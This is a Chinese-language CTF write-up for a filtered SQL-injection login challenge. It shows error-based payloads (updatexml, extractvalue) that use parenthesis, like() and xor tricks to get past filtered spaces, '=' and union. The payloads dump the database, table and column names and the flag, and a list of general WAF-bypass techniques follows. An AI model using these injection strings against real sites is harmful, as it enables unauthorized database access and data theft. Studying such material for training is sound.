打开题目
输入1或者1",页面均回显NO,Wrong username password!!!
那我们输入1'
试试万能密码
1' or 1=1 #
输入1' and 1=2 #
输入1' union select 1,2,3 #
输入1' ununionion seselectlect 1,2,3 #
输入1' #
输入1'=#
页面依旧回显
说明页面过滤了=号,空格,union,就连双写绕过都不行
尝试了一下,发现and也被过滤了
我们就可以试试报错注入
我们先尝试updatexml函数
updatexml函数报错的原理是:
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错
因为我们在上面的尝试中发现and,union,空格是被过滤的
注释符我们还是用#吧,用%23会报错
爆破数据库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
或者1'^(updatexml(1,concat(0x7e,database(),0x7e),1))#
得到数据库名为geek
因为题目过滤了空格,我们用括号实现绕过
爆破表名
1'^(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
或
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
得到表名为H4rDsq1
爆破列名
1'^(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
然后我们得到了
它说我们的子查询要返回1行以上
那我们就更改一下代码
1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
成功得到所有列名
爆破数据
1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#
我们得到了flag的前半段
flag{c2b230c9-5463-4843-b1cc-1f
我们可以用right()函数获取flag的右半段
1'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#
得到flag的右边半部分
3-b1cc-1f1dad3f0b3d}
我们拼接一下即可得到flag
接下来我们用extractvalue函数进行注入
extractvalue函数格式为(XML_document,xpath_string)
爆破数据库名
1'or(extractvalue(1,(concat(0x7e,database(),0x7e))))#
同样的
用1'^(extractvalue(1,(concat(0x7e,database(),0x7e))))#也是一样的
爆破表名
1'or(extractvalue(1,(concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek'))))))#
爆破列名
1'or(extractvalue(1,(concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1'))))))#
重新写
1'or(extractvalue(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))))#
爆破数据
1'or(extractvalue(1,(concat(0x7e,(select(password)from(H4rDsq1)),0x7e))))#
1'or(extractvalue(1,(concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e))))#
得到flag
知识点:
- 什么是xor(异或)用法,和or(或)用法有什么区别?
①or是或运算,A or B的结果:当A、B中只要有一个或者两个都为1时,结果为1,否则为0;
即,有一个真即为真
②xor是异或运算,A xor B的结果:当A、B两个不同时结果为1,否则为0。
即,相同为假,不同为真
- 在mysql中异或运算符的简介
mysql里异或运算符:^
或者 xor
;
- substring()方法
截取字符串中介于两个指定下标之间的字符。
用法:
1.有两个参数
字符串.substring(参数1,参数2);
参数1:字符串截取的起始下标,非负的整数(如果此参数是0,则是从字符串的第一个字符开始截取)
参数2:截取结束位置的索引下标(截取的结果,不包括结束位置的字符)
如:
var str="abcdefghijklmn";
var res=str.substring(2,6);
console.log(res);
结果res为:"cdef"
2.有一个参数
字符串.substring(参数);
参数:字符串截取的起始下标
结果:从参数标记的位置开始向后截取至字符串末尾的字符串
如:
var str="abcdefghijklmn";
var res=str.substring(3);
console.log(res);
结果res为:"defghijklmn"
- mid函数用法
CString Mid( int nFirst ) const; //从左边第 nCount+1 个字符开始,获取后面所有的字符
CString Mid( int nFirst, int nCount ) const; //从左边第 nFirst+1 个字符开始,获取后面 nCount 个字符
如:CString a,b;
a = "123456789";
b = a.Mid(3); //值为:456789
b = a.Mid(2, 4); //值为:3456
- right函数和left函数
left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)
- sql注入中绕过一些常见的特殊符号
1.绕过空格
注释符/**/绕过
非断开空格%a0(非断开空格是一种特殊的空格字符,与常规空格不同,它在文本中不会引起换行或断开。在URL编码中,非断开空格通常被表示为 %a0
。)
括号绕过空格 (如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。任何可以计算出结果的语句,都可以用括号包围起来。而括号两端,可以没有多余的空格)
例如:select(table_name)from(information_schema.tables)where(table_schema)='数据库名'
双写绕过空格
%20绕过空格
2.绕过引号
引号以及引号内容全部转换为16进制
3.逗号绕过
用from或者offset绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to
的方式来解决:
对于limit
可以使用offset
来绕过:
4.等号绕过
用like即可绕过
5.比较符<>绕过
使用greatest()绕过(返回最大值)
使用least()绕过(返回最小值)
6.绕过注释符号(如#,-- -)
原理是闭合后面的引号进行绕过
7.关键字绕过
8.substring与mid被过滤可以用right与left来绕过
知识点选自:https://www.cnblogs.com/lspbk/p/14440867.html#:~:text=SQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%201%E3%80%81%E7%A9%BA%E6%A0%BC%E7%BB%95%E8%BF%87%E3%80%81%E5%BC%95%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%81%E9%80%97%E5%8F%B7%E7%BB%95%E8%BF%87%202%E3%80%81%E6%AF%94%E8%BE%83%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%E6%B3%A8%E9%87%8A%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%3D%E7%BB%95%E8%BF%87%203%E3%80%81%E5%85%B3%E9%94%AE%E5%AD%97%E7%BB%95%E8%BF%87%20%E5%AE%8C%E6%95%B4%201.%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%88%E6%B3%A8%E9%87%8A%E7%AC%A6%2F%2A,%2A%2F%EF%BC%89%EF%BC%9A%20%E6%9C%80%E5%9F%BA%E6%9C%AC%E7%9A%84%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95%EF%BC%8C%E7%94%A8%E6%B3%A8%E9%87%8A%E6%9B%BF%E6%8D%A2%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%2F%2A%20%E6%B3%A8%E9%87%8A%20%2A%2F%202.%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%E5%A6%82%E6%9E%9C%E7%A9%BA%E6%A0%BC%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E6%8B%AC%E5%8F%B7%E6%B2%A1%E6%9C%89%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%94%A8%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%82
substring()方法-CSDN博客
CString类常用方法----Left(),Mid(),Right()_cstring中的mid-CSDN博客